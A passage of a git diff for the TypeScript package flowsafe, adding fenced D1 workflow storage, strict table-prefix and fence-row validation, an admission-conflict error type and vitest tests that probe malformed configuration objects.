constructor', async (kind) => { + const client = { + query: vi.fn(async () => ({ result: [{ success: true, results: [] }] })), + }; + const binding = sqliteUnitDatabase(openSqlite()) as never; + const construct = (config: D1DomainConfig) => + kind === 'owned' + ? new FencedWorkflowsStorageD1(config) + : kind === 'queued' + ? new DurableObjectWorkflowsStorageD1(config) + : new DurableObjectBackgroundTasksStorageD1( + config, + new DurableObjectWorkflowsStorageD1({ binding }), + ); + const read = (domain: ReturnType) => + domain instanceof BackgroundTasksStorageD1 + ? domain.getTask('task') + : domain.loadWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + }); + for (const mode of ['own', 'inherited', 'non-enumerable']) { + let discarded = 0; + const config = mode === 'inherited' ? Object.create({ client }) : {}; + if (mode !== 'inherited') + Object.defineProperty(config, 'client', { + value: client, + enumerable: mode === 'own', + }); + Object.defineProperty(config, 'binding', { + enumerable: true, + get() { + discarded += 1; + throw new Error('discarded binding'); + }, + }); + Object.defineProperty(config, 'apiToken', { + enumerable: true, + get() { + discarded += 1; + throw new Error('discarded credential'); + }, + }); + const domain = construct(config); + await read(domain); + if (domain instanceof FencedWorkflowsStorageD1) + expect(domain[FENCED_WORKFLOW_STORAGE]).toBeUndefined(); + expect(discarded).toBe(0); + } + expect(client.query).toHaveBeenCalledTimes(3); + const invalid = { + client: undefined, + get binding() { + throw new Error('binding fallback'); + }, + } as unknown as D1DomainConfig; + const domain = construct(invalid); + if (domain instanceof FencedWorkflowsStorageD1) + expect(domain[FENCED_WORKFLOW_STORAGE]).toBeUndefined(); + await expect(read(domain)).rejects.not.toThrow('binding fallback'); + let bindingReads = 0; + let prefixReads = 0; + const selected = construct({ + get binding() { + bindingReads += 1; + return binding; + }, + get tablePrefix() { + prefixReads += 1; + return 'First_'; + }, + get apiToken() { + throw new Error('unused REST'); + }, + } as D1DomainConfig); + if (selected instanceof FencedWorkflowsStorageD1) + expect(selected[FENCED_WORKFLOW_STORAGE]?.tablePrefix).toBe('first_'); + expect([bindingReads, prefixReads]).toEqual([1, 1]); + for (const mode of ['inherited', 'non-enumerable']) { + const config = + mode === 'inherited' + ? Object.create({ binding }) + : Object.defineProperty({}, 'binding', { value: binding }); + const domain = construct(config); + if (domain instanceof FencedWorkflowsStorageD1) + expect(domain[FENCED_WORKFLOW_STORAGE]?.database).toBe(binding); + } + let clientReads = 0; + const capturedClient = construct({ + get client() { + clientReads += 1; + if (clientReads !== 1) throw new Error('client reread'); + return client; + }, + }); + await read(capturedClient); + expect(clientReads).toBe(1); + const restReads: string[] = []; + const rest = construct({ + get accountId() { + restReads.push('accountId'); + return 'account'; + }, + get apiToken() { + restReads.push('apiToken'); + return 'test-token'; + }, + get databaseId() { + restReads.push('databaseId'); + return 'database'; + }, + get tablePrefix() { + restReads.push('tablePrefix'); + return 'rest_'; + }, + get unused() { + throw new Error('unused REST field'); + }, + } as D1DomainConfig); + expect(restReads).toEqual([ + 'accountId', + 'apiToken', + 'databaseId', + 'tablePrefix', + ]); + if (rest instanceof FencedWorkflowsStorageD1) + expect(rest[FENCED_WORKFLOW_STORAGE]).toBeUndefined(); + }); + + it('keeps the initial ALS scope through the lock and preserves its stamp on ordinary updates', async () => { + const binding = sqliteUnitDatabase( + openSqlite(), + ) as InitialAdmissionDatabase; + const workflows = new DurableObjectWorkflowsStorageD1({ + binding: binding as never, + }); + await workflows.init(); + const capability = workflows[FENCED_WORKFLOW_STORAGE]; + if (!capability) throw new Error('missing queued capability'); + const fence = new ExecutionFenceStore(binding); + const execution = { + tablePrefix: '', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }; + const snapshot = createEmptyWorkflowSnapshot('run'); + const admitted = await capability.withInitialAdmission( + { + execution, + attemptToken: 'correlation', + fence, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'generation', + attemptToken: 'correlation', + resumeCounts: [], + }, + }, + onInitialWriteAttempt: () => undefined, + }, + () => + workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot, + }), + ); + expect(admitted.witness.execution).toEqual(execution); + expect(workflows.supportsConcurrentUpdates()).toBe(true); + await workflows.updateWorkflowState({ + workflowName: 'workflow', + runId: 'run', + opts: { status: 'running' }, + }); + expect( + ( + await workflows.loadWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + }) + )?.status, + ).toBe('running'); + const updated = await capability.readSnapshot(execution); + expect(updated?.snapshot).not.toBe(admitted.witness.row.snapshot); + expect( + JSON.parse(updated?.snapshot ?? '').requestContext[ + 'flowsafe.runProvenance' + ].initialAdmission, + ).toBe(true); + }); it('constructs deployment-wide background-task domains', () => { const binding = sqliteUnitDatabase(openSqlite()) as never; expect(() => createBackgroundTaskD1Domains({ binding })).not.toThrow(); diff --git a/packages/flowsafe/src/background-tasks/d1-storage.ts b/packages/flowsafe/src/background-tasks/d1-storage.ts index 3aad03ab..bbb10f3c 100644 --- a/packages/flowsafe/src/background-tasks/d1-storage.ts +++ b/packages/flowsafe/src/background-tasks/d1-storage.ts @@ -12,7 +12,7 @@ import type { D1Database } from '@cloudflare/workers-types'; import { BackgroundTasksStorageD1, type D1DomainConfig, - WorkflowsStorageD1, + type WorkflowsStorageD1, } from '@mastra/cloudflare-d1'; import type { TaskFilter, TaskListResult } from '@mastra/core/background-tasks'; import type { Mastra } from '@mastra/core/mastra'; @@ -23,7 +23,10 @@ import { type UpdateWorkflowStateOptions, } from '@mastra/core/storage'; import type { StepResult, WorkflowRunState } from '@mastra/core/workflows'; - +import { + captureD1DomainConfig, + FencedWorkflowsStorageD1, +} from '../do-runner/fenced-workflows-d1.js'; import type { D1DatabaseBinding } from '../do-runner/index.js'; import { validateTablePrefix } from '../do-runner/table-prefix.js'; @@ -68,23 +71,11 @@ export const SERIALIZED_WORKFLOWS_D1: unique symbol = Symbol( 'flowsafe.serializedWorkflowsD1', ); -function validatedDomainConfig(config: D1DomainConfig): D1DomainConfig { - const tablePrefix = validateTablePrefix(config.tablePrefix); - return { - ...config, - ...(tablePrefix !== undefined ? { tablePrefix } : {}), - }; -} - /** Serialized D1 workflow updates for one Durable Object owner. */ -export class DurableObjectWorkflowsStorageD1 extends WorkflowsStorageD1 { +export class DurableObjectWorkflowsStorageD1 extends FencedWorkflowsStorageD1 { readonly [SERIALIZED_WORKFLOWS_D1] = true as const; readonly #tails = new Map>(); - constructor(config: D1DomainConfig) { - super(validatedDomainConfig(config)); - } - override supportsConcurrentUpdates(): boolean { return true; } @@ -194,7 +185,7 @@ export class DurableObjectBackgroundTasksStorageD1 extends BackgroundTasksStorag config: D1DomainConfig, workflows: DurableObjectWorkflowsStorageD1, ) { - super(validatedDomainConfig(config)); + super(captureD1DomainConfig(config)); this.#workflows = workflows; } diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts index 7d4629ae..8692cf93 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.test.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts @@ -3,7 +3,7 @@ // ISO-cutoff comparisons execute in SQLite, while the Wrangler harness owns // D1 concurrency, transaction, and runtime fidelity. -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { openSqlite, @@ -46,10 +46,13 @@ import { type SnapshotStatement, sweepExpiredRunDeadlines, } from './d1-storage.js'; +import { FENCED_WORKFLOW_STORAGE } from './fenced-workflow-capability.js'; +import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { START_IDEMPOTENCY_DDL, START_IDEMPOTENCY_TABLE, } from './start-idempotency.js'; +import { validateTablePrefix } from './table-prefix.js'; // Domain-local result-envelope adapter for pure purge SQL units. It maps // node:sqlite's affected-row count to the structural SnapshotDatabase seam; @@ -247,6 +250,11 @@ interface PublicStoragePrefixCase { } const PUBLIC_STORAGE_PREFIX_CASES = [ + { + name: 'FencedWorkflowsStorageD1', + construct: (binding, tablePrefix) => + new FencedWorkflowsStorageD1({ binding: binding as never, tablePrefix }), + }, { name: 'D1NotificationsStorage', construct: (binding, tablePrefix) => @@ -592,6 +600,133 @@ describe('sweepExpiredRunDeadlines', () => { }); describe('createD1Storage table prefix', () => { + it('rejects non-string prefixes without coercion', () => { + const coerce = vi.fn(() => 'safe_'); + const object = { + toString: coerce, + [Symbol.toPrimitive]: coerce, + get length() { + coerce(); + return 5; + }, + }; + for (const value of [ + true, + false, + null, + 1, + [], + new String('safe_'), + object, + ]) { + const prefix = value as unknown as string; + expect(() => validateTablePrefix(prefix)).toThrow( + 'Invalid tablePrefix: use an empty prefix', + ); + const prepare = vi.fn(); + const binding = { prepare } as unknown as D1DatabaseBinding; + expect(() => createD1Storage({ binding, tablePrefix: prefix })).toThrow( + 'Invalid tablePrefix: use an empty prefix', + ); + for (const { construct } of PUBLIC_STORAGE_PREFIX_CASES) + expect(() => construct(binding, prefix)).toThrow( + 'Invalid tablePrefix: use an empty prefix', + ); + expect(prepare).not.toHaveBeenCalled(); + } + expect(coerce).not.toHaveBeenCalled(); + for (const value of [ + undefined, + '', + '_tenant_01_', + 'tenant_01_', + MAX_TABLE_PREFIX, + ]) + expect(validateTablePrefix(value)).toBe(value); + expect(() => validateTablePrefix(OVERLONG_TABLE_PREFIX, 'custom')).toThrow( + 'Invalid custom: must be at most 39 characters', + ); + }); + + it('preserves inherited and non-enumerable disabled or custom domain overrides', async () => { + const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding; + const custom = new FencedWorkflowsStorageD1({ binding: binding as never }); + for (const mode of ['inherited', 'non-enumerable']) { + for (const workflows of [false, custom]) { + const values = { workflows, threadState: false, notifications: false }; + const domains = + mode === 'inherited' + ? Object.create(values) + : Object.defineProperties( + {}, + Object.fromEntries( + Object.entries(values).map(([key, value]) => [ + key, + { value }, + ]), + ), + ); + Object.defineProperty(domains, 'ignored', { + enumerable: true, + get() { + throw new Error('unknown getter'); + }, + }); + const storage = createD1Storage({ binding, domains }); + expect(await storage.getStore('workflows')).toBe( + workflows === false ? undefined : custom, + ); + expect(await storage.getStore('threadState')).toBeUndefined(); + expect(await storage.getStore('notifications')).toBeUndefined(); + } + } + }); + + it('captures composition inputs before either storage constructor', async () => { + const first = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding; + const second = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding; + let bindingReads = 0; + let workflowReads = 0; + let domainReads = 0; + let prefixReads = 0; + let idReads = 0; + const domains = { + get workflows() { + workflowReads += 1; + return workflowReads === 1 ? undefined : (false as const); + }, + }; + const storage = createD1Storage({ + get binding() { + return ++bindingReads === 1 ? first : second; + }, + get id() { + idReads += 1; + return 'captured'; + }, + get tablePrefix() { + return ++prefixReads === 1 ? 'First_' : 'second_'; + }, + get domains() { + domainReads += 1; + return domains; + }, + }); + await storage.init(); + const workflows = await storage.getStore('workflows'); + expect(workflows).toBeInstanceOf(FencedWorkflowsStorageD1); + if (!(workflows instanceof FencedWorkflowsStorageD1)) + throw new Error('missing owned workflow domain'); + expect(workflows[FENCED_WORKFLOW_STORAGE]?.database).toBe(first); + expect(workflows[FENCED_WORKFLOW_STORAGE]?.tablePrefix).toBe('first_'); + expect([ + bindingReads, + workflowReads, + domainReads, + prefixReads, + idReads, + ]).toEqual([1, 1, 1, 1, 1]); + }); it('uses the shared Mastra-compatible identifier rule', () => { const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding; diff --git a/packages/flowsafe/src/do-runner/d1-storage.ts b/packages/flowsafe/src/do-runner/d1-storage.ts index d6d1703c..4bd5b0d5 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.ts @@ -13,9 +13,21 @@ import { } from '@mastra/core/storage'; import type { D1DatabaseBinding } from './cf-types.js'; +import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { isPathSafeId } from './path-safe-id.js'; +import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; import { START_IDEMPOTENCY_TABLE } from './start-idempotency.js'; import { validateTablePrefix } from './table-prefix.js'; +import type { + SnapshotDatabase, + SnapshotStatement, +} from './workflow-snapshot-row.js'; + +export { RESOURCE_OWNER_TABLE } from './run-storage-tables.js'; +export type { + SnapshotDatabase, + SnapshotStatement, +} from './workflow-snapshot-row.js'; export interface D1StorageOptions { /** D1 binding from the Worker/DO environment. */ @@ -29,8 +41,9 @@ export interface D1StorageOptions { * notifications and thread state, which @mastra/cloudflare-d1 does not ship, so * they are flowsafe-owned D1 impls). Injected rather than imported so this * lower layer never depends on `signals/` (which imports do-runner) — build - * them with `createSignalStorageDomains()` and pass them here. Absent ⇒ the - * bare D1Store, byte-identical to before this seam existed. + * them with `createSignalStorageDomains()` and pass them here. The default + * workflow domain supports explicit initial-admission scopes; false/custom + * workflow overrides retain precedence. */ domains?: MastraStorageDomains; } @@ -38,27 +51,60 @@ export interface D1StorageOptions { export function createD1Storage( options: D1StorageOptions, ): MastraCompositeStore { - const tablePrefix = validateTablePrefix(options.tablePrefix); + const { + binding, + id: suppliedId, + tablePrefix: suppliedPrefix, + domains: suppliedDomains, + } = options; + const domainSource = suppliedDomains ?? {}; + const capturedDomains = { + workflows: domainSource.workflows, + scores: domainSource.scores, + memory: domainSource.memory, + channels: domainSource.channels, + notifications: domainSource.notifications, + observability: domainSource.observability, + agents: domainSource.agents, + datasets: domainSource.datasets, + experiments: domainSource.experiments, + promptBlocks: domainSource.promptBlocks, + scorerDefinitions: domainSource.scorerDefinitions, + mcpClients: domainSource.mcpClients, + mcpServers: domainSource.mcpServers, + workspaces: domainSource.workspaces, + skills: domainSource.skills, + favorites: domainSource.favorites, + blobs: domainSource.blobs, + backgroundTasks: domainSource.backgroundTasks, + schedules: domainSource.schedules, + harness: domainSource.harness, + toolProviderConnections: domainSource.toolProviderConnections, + threadState: domainSource.threadState, + } satisfies Record; + const { workflows: suppliedWorkflows, ...otherDomains } = capturedDomains; + const id = suppliedId ?? 'flowsafe'; + const tablePrefix = validateTablePrefix(suppliedPrefix); + const domainConfig = { + binding: binding as unknown as D1Database, + ...(tablePrefix === undefined ? {} : { tablePrefix }), + }; const d1 = new D1Store({ - id: options.id ?? 'flowsafe', + id, // @mastra/cloudflare-d1's own D1Store signature wants the real // D1Database; D1DatabaseBinding is the structural subset this package // exposes instead, so consumers of its shipped types don't need // @cloudflare/workers-types installed. - binding: options.binding as unknown as D1Database, - ...(tablePrefix !== undefined ? { tablePrefix } : {}), + ...domainConfig, }); - // No extra domains ⇒ return the D1Store itself (it IS a MastraCompositeStore), - // preserving byte-identical behavior for every host that does not opt into - // signals. With domains, compose them OVER d1 as the default: its own init() - // (all adapter tables, DDL ordering, coalesced callers) runs first via the - // parentDefault path, THEN each override domain's init() — the composite never - // double-inits a parent's domain (validated: chunk #runInit). - if (!options.domains) return d1; + const workflows = + suppliedWorkflows === undefined + ? new FencedWorkflowsStorageD1(domainConfig) + : suppliedWorkflows; return new MastraCompositeStore({ - id: options.id ?? 'flowsafe', + id, default: d1, - domains: options.domains, + domains: { ...otherDomains, workflows }, }); } @@ -303,22 +349,6 @@ export async function sweepExpiredRunDeadlines( return processed; } -/** - * Minimal structural D1 surface the purge uses — same posture as the - * approval store: tests back it with node:sqlite, Workers pass env.DB. - */ -export interface SnapshotDatabase { - prepare(query: string): SnapshotStatement; - /** D1 transactional batch, required when owner lifecycle cleanup is wired. */ - batch?(statements: SnapshotStatement[]): Promise; -} - -export interface SnapshotStatement { - bind(...values: unknown[]): SnapshotStatement; - run(): Promise; - all(): Promise<{ results: T[] }>; -} - /** Structural: R2ArtifactStore.deleteRun, without importing the artifacts module. */ export interface RunArtifactPurger { deleteRun(workflowId: string, runId: string): Promise; @@ -408,20 +438,6 @@ export const RUN_TTL_PURGE_TABLES: readonly string[] = [ 'mastra_workflow_snapshot', ]; -/** - * The resource-ownership registry's table, named here rather than imported from - * the store that creates it (approval-api/resource-ownership.ts). - * - * The layering forbids the import: do-runner may reach approval-api only - * through its declared leaves, and the ownership store is not one — it is built - * ON do-runner. So this file has always carried the name as a literal inside - * RUN_TTL_FLOWSAFE_PURGE_TABLES; giving it a name adds no second home, it names - * the one that was already here, and lets the drain inventory read the registry - * without a third copy. The census test crosses it against - * RESOURCE_OWNERSHIP_TABLE, which is the only place the two can be compared. - */ -export const RESOURCE_OWNER_TABLE = 'flowsafe_resource_owners'; - /** * The FLOWSAFE-owned tables this purge also deletes from when the caller wires * them, and the reason they are not in the list above. diff --git a/packages/flowsafe/src/do-runner/execution-admission.test.ts b/packages/flowsafe/src/do-runner/execution-admission.test.ts index ef33cba7..4a24cc19 100644 --- a/packages/flowsafe/src/do-runner/execution-admission.test.ts +++ b/packages/flowsafe/src/do-runner/execution-admission.test.ts @@ -16,6 +16,7 @@ import { normalizeRunExecutionIdentity, normalizeStartExecutionIdentity, normalizeStartIdentity, + RunAdmissionConflictError, stampMutationEpoch, } from './execution-admission.js'; import { ExecutionFenceUnreadableError as LegacyUnreadableError } from './execution-fence.js'; @@ -33,6 +34,27 @@ const START = { }; describe('execution identity and epoch helpers', () => { + it('uses fixed admission conflict and inconsistent-input errors without identity values', () => { + for (const classification of [ + 'run-owner-changed', + 'reservation-changed', + 'run-exists', + 'fence-changed', + 'admission-raced', + ] as const) { + const error = new RunAdmissionConflictError(classification); + expect(error).toMatchObject({ + status: 409, + message: 'initial run admission conflicts with current durable state', + reason: { code: 'RUN_ADMISSION_CONFLICT', classification }, + }); + } + expect(new InvalidExecutionIdentityError('admission')).toMatchObject({ + status: 400, + message: 'initial admission identity is inconsistent', + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + }); + }); it('normalizes identity data without inventing a namespace or owner', () => { expect(normalizeRunExecutionIdentity(RUN)).toEqual({ ...RUN, diff --git a/packages/flowsafe/src/do-runner/execution-admission.ts b/packages/flowsafe/src/do-runner/execution-admission.ts index 28a94627..6299b7c8 100644 --- a/packages/flowsafe/src/do-runner/execution-admission.ts +++ b/packages/flowsafe/src/do-runner/execution-admission.ts @@ -13,6 +13,33 @@ export interface MutationEpochContext { readonly mutationEpoch?: number; } +export interface ProofEntryExpectation { + readonly key: string; + readonly mutationEpoch: number; + readonly transitionRevision: number; +} + +export type RunAdmissionConflictClassification = + | 'run-owner-changed' + | 'reservation-changed' + | 'run-exists' + | 'fence-changed' + | 'admission-raced'; + +export class RunAdmissionConflictError extends DoStatusError { + readonly status = 409; + readonly reason: { + readonly code: 'RUN_ADMISSION_CONFLICT'; + readonly classification: RunAdmissionConflictClassification; + }; + + constructor(classification: RunAdmissionConflictClassification) { + super('initial run admission conflicts with current durable state'); + this.name = 'RunAdmissionConflictError'; + this.reason = { code: 'RUN_ADMISSION_CONFLICT', classification }; + } +} + /** Identity data; null explicitly makes no D1 namespace assertion. */ export interface RunExecutionIdentity { readonly tablePrefix: string | null; @@ -47,6 +74,7 @@ export interface D1StartExecutionIdentity StartIdentity {} const IDENTITY_ERRORS = { + admission: 'initial admission identity is inconsistent', identity: 'execution identity must be an object', tablePrefix: 'tablePrefix is not valid for this execution identity', workflowId: 'workflowId must be a URL-path-safe identifier', diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 248fe890..49c1b93c 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -24,6 +24,7 @@ import { admitsExistingRun, admitsRunStart, admitsWorkAuthoring, + decodeExecutionFenceAdmissionRow, type ExecutionFenceDatabase, ExecutionFencedError, type ExecutionFenceReading, @@ -34,6 +35,7 @@ import { executionFenceReadingPayload, FenceTransitionConflictError, InvalidExecutionFenceRequestError, + validateExecutionFenceAdmissionSchema, } from './execution-fence.js'; import { init } from './init.js'; import type { RunnerRuntime } from './runtime.js'; @@ -84,6 +86,152 @@ const legacyFenceDdl = `CREATE TABLE flowsafe_execution_fence ( proof_key TEXT, proof_run_id TEXT, updated_at INTEGER NOT NULL )`; +describe('strict initial-admission fence observations', () => { + it.each([ + 'row', + 'schema', + ])('rejects inherited slots in the fence %s observation', async (mode) => { + const { sqlite, db } = fenceFixture(); + await new ExecutionFenceStore(db).seed('open'); + const sparse = (rows: unknown[]) => + Object.setPrototypeOf( + new Array(rows.length), + Object.assign(Object.create(Array.prototype), rows), + ); + if (mode === 'schema') { + const columns = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)') + .all(); + await expect( + validateExecutionFenceAdmissionSchema({ results: sparse(columns) }), + ).rejects.toThrow('invalid row'); + } else { + const wrapped = interceptedDatabase(db, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + return sql.startsWith('SELECT * FROM flowsafe_execution_fence') + ? { results: sparse(result.results) } + : result; + }); + await expect( + new ExecutionFenceStore(wrapped).readForAdmission(), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + } + }); + it('does not let a custom iterator hide a malformed admission row', async () => { + const { db } = fenceFixture(); + await new ExecutionFenceStore(db).seed('open'); + const wrapped = interceptedDatabase(db, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + if (!sql.startsWith('SELECT * FROM flowsafe_execution_fence')) + return result; + const rows = [null]; + Object.defineProperty(rows, Symbol.iterator, { + value: function* () { + yield* result.results; + }, + }); + return { results: rows }; + }); + await expect( + new ExecutionFenceStore(wrapped).readForAdmission(), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + }); + it('rejects the first malformed schema envelope even if its getter later returns real columns', async () => { + const { sqlite, db } = fenceFixture(); + await new ExecutionFenceStore(db).seed('open'); + const columns = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)') + .all(); + let reads = 0; + await expect( + validateExecutionFenceAdmissionSchema({ + get results() { + return ++reads === 1 ? [null] : columns; + }, + }), + ).rejects.toThrow('invalid row'); + expect(reads).toBe(1); + }); + it.each([ + 'envelope', + 'element', + ])('captures one %s observation before admission decoding', async (mode) => { + const { db } = fenceFixture(); + await new ExecutionFenceStore(db).seed('open'); + let reads = 0; + const wrapped = interceptedDatabase(db, async (sql, execute) => { + const result = (await execute()) as { results: unknown[] }; + if (!sql.startsWith('SELECT * FROM flowsafe_execution_fence')) + return result; + if (mode === 'envelope') + return { + get results() { + return ++reads === 1 ? result.results : new Array(1); + }, + }; + const rows: unknown[] = []; + Object.defineProperty(rows, 0, { + get() { + return ++reads === 1 ? result.results[0] : undefined; + }, + }); + return { results: rows }; + }); + expect( + (await new ExecutionFenceStore(wrapped).readForAdmission()).reading.state, + ).toBe('open'); + expect(reads).toBe(1); + }); + it('requires real current metadata and never initializes on read', async () => { + const { sqlite, db } = fenceFixture(); + const fence = new ExecutionFenceStore(db); + expect(fence.usesDatabase(db)).toBe(true); + expect(fence.usesDatabase({ ...db })).toBe(false); + await expect(fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + sqlite + .prepare("SELECT name FROM sqlite_master WHERE type = 'table'") + .all(), + ).toEqual([]); + sqlite.exec(legacyFenceDdl); + sqlite.exec( + "INSERT INTO flowsafe_execution_fence VALUES ('deployment', 'open', NULL, NULL, 100)", + ); + await expect(fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + sqlite.prepare('PRAGMA table_xinfo(flowsafe_execution_fence)').all(), + ).toHaveLength(5); + await fence.seed('open'); + const observation = await fence.readForAdmission(); + expect(observation.schemaStage).toBe(7); + expect(Object.isFrozen(observation.raw)).toBe(true); + const mutable = { ...observation.raw }; + const copied = decodeExecutionFenceAdmissionRow(mutable); + mutable.state = 'draining'; + expect(copied.raw.state).toBe('open'); + const schema = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_execution_fence)') + .all(); + await expect( + validateExecutionFenceAdmissionSchema({ results: schema }), + ).resolves.toBeUndefined(); + await expect( + validateExecutionFenceAdmissionSchema({ results: schema.slice(0, -1) }), + ).rejects.toThrow('current fence schema'); + sqlite.exec('DELETE FROM flowsafe_execution_fence'); + await expect(fence.readForAdmission()).rejects.toBeInstanceOf( + ExecutionFenceUnreadableError, + ); + expect( + sqlite.prepare('SELECT * FROM flowsafe_execution_fence').all(), + ).toEqual([]); + }); +}); + function rawFence(sqlite: SqliteDatabase): Record { return sqlite .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`) diff --git a/packages/flowsafe/src/do-runner/execution-fence.ts b/packages/flowsafe/src/do-runner/execution-fence.ts index 9a891cb5..0671d2b6 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.ts @@ -399,7 +399,7 @@ const FENCE_REFUSAL_CODES: ReadonlySet = new Set([ * * The two codes are matched by name rather than by any structural sniff: only * refusals this package authors publish them, and both are declared as literals - * on the classes above, so a code arriving over the wire came from one of them. + * on the corresponding error classes, so a code arriving over the wire came from one of them. */ export function isExecutionFenceRefusal( error: unknown, @@ -549,6 +549,14 @@ interface StoredExecutionFence { reading: ExecutionFenceVersionedReading; receipt: string | null; schemaStage: ExecutionFenceSchemaStage; + raw: DeploymentIdentityProtocolRow; +} + +/** @internal Exact current-stage observation for initial admission. */ +export interface ExecutionFenceAdmissionObservation { + readonly reading: ExecutionFenceVersionedReading; + readonly schemaStage: 7; + readonly raw: DeploymentIdentityProtocolRow; } function isFenceCounter(value: unknown): value is number { @@ -580,6 +588,11 @@ function decodeTransitionReceipt(text: string): FenceTransitionReceipt { function readingFromRow( row: DeploymentIdentityProtocolRow, ): StoredExecutionFence { + row = Object.freeze( + Object.fromEntries( + Object.getOwnPropertyNames(row).map((key) => [key, row[key]]), + ), + ); const metadata = decodeExecutionFenceMutationMetadata(row); const { state } = row; if (row.id !== EXECUTION_FENCE_ROW_ID || !isExecutionFenceState(state)) { @@ -635,6 +648,7 @@ function readingFromRow( }, receipt: metadata.lastTransitionRequest, schemaStage: metadata.schemaStage, + raw: row, }; } @@ -643,17 +657,25 @@ function fenceResultRows(result: unknown): DeploymentIdentityProtocolRow[] { result === null || typeof result !== 'object' || ('success' in result && result.success !== true) || - !('results' in result) || - !Array.isArray(result.results) + !('results' in result) ) { throw new Error('execution fence statement returned an invalid result'); } - for (const row of result.results) { + const rows: unknown = result.results; + if (!Array.isArray(rows)) + throw new Error('execution fence statement returned an invalid result'); + const length = rows.length; + if (!Number.isSafeInteger(length) || length < 0) + throw new Error('execution fence statement returned an invalid result'); + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(rows, index)) + throw new Error('execution fence statement returned an invalid row'); + const row = rows[index]; if (row === null || typeof row !== 'object' || Array.isArray(row)) { throw new Error('execution fence statement returned an invalid row'); } - } - return result.results; + return row; + }); } function returningFence(result: unknown): StoredExecutionFence | undefined { @@ -668,6 +690,29 @@ function returningFence(result: unknown): StoredExecutionFence | undefined { return stored; } +/** @internal Validate an already-observed current-schema RETURNING row. */ +export function decodeExecutionFenceAdmissionRow( + row: DeploymentIdentityProtocolRow, +): ExecutionFenceAdmissionObservation { + const stored = readingFromRow(row); + if (stored.schemaStage !== 7) + throw new Error('initial admission requires current fence metadata'); + return Object.freeze({ + reading: Object.freeze(stored.reading), + schemaStage: 7, + raw: stored.raw, + }); +} + +/** @internal Validate actual PRAGMA rows from a consistent readback batch. */ +export async function validateExecutionFenceAdmissionSchema( + result: unknown, +): Promise { + const columns = fenceResultRows(result); + if ((await readExecutionFenceSchemaProtocol(async () => columns)) !== 7) + throw new Error('initial admission requires the current fence schema'); +} + /** * SQLite/D1's "no such table", for THIS store's table: a table that was never * created is not a fault here — it is a pre-0.20 database, which reads as @@ -743,6 +788,36 @@ export class ExecutionFenceStore { return (await this.#readStored())?.reading ?? OPEN_EXECUTION_FENCE; } + usesDatabase(binding: object): boolean { + return this.#db === binding; + } + + /** @internal Pure strict observation; seed only on the admission preparation path. */ + async readForAdmission(): Promise { + try { + const rows = fenceResultRows( + await this.#db + .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`) + .all(), + ); + const row = rows[0]; + if (rows.length !== 1 || row === undefined) + throw new Error('initial admission requires an exact fence singleton'); + const observation = decodeExecutionFenceAdmissionRow(row); + await validateExecutionFenceAdmissionSchema( + await this.#db + .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`) + .all(), + ); + return observation; + } catch (error) { + throw new ExecutionFenceUnreadableError( + 'initial admission requires current fence metadata', + { cause: error }, + ); + } + } + /** * Provisioning-time seeding: write the deployment's INITIAL fence state. * diff --git a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts new file mode 100644 index 00000000..7942489b --- /dev/null +++ b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { + D1RunExecutionIdentity, + ProofEntryExpectation, + StartIdentity, +} from './execution-admission.js'; +import type { ExecutionFenceStore } from './execution-fence.js'; +import type { + StartIdempotencyStore, + StartReservationReading, +} from './start-idempotency.js'; +import type { + RawWorkflowSnapshot, + SnapshotDatabase, + SnapshotStatement, +} from './workflow-snapshot-row.js'; + +export const FENCED_WORKFLOW_STORAGE: unique symbol = Symbol( + 'flowsafe.fencedWorkflowStorage', +); + +export interface InitialAdmissionDatabase extends SnapshotDatabase { + batch(statements: SnapshotStatement[]): Promise; +} + +export interface InitialRunAdmission { + readonly execution: D1RunExecutionIdentity; + readonly attemptToken: string; + readonly mutationEpoch?: number; + readonly startIdentity?: StartIdentity; + readonly requestContext: Readonly>; + readonly fence: ExecutionFenceStore; + readonly reservationStore?: StartIdempotencyStore; + readonly reservation?: StartReservationReading; + readonly proof?: 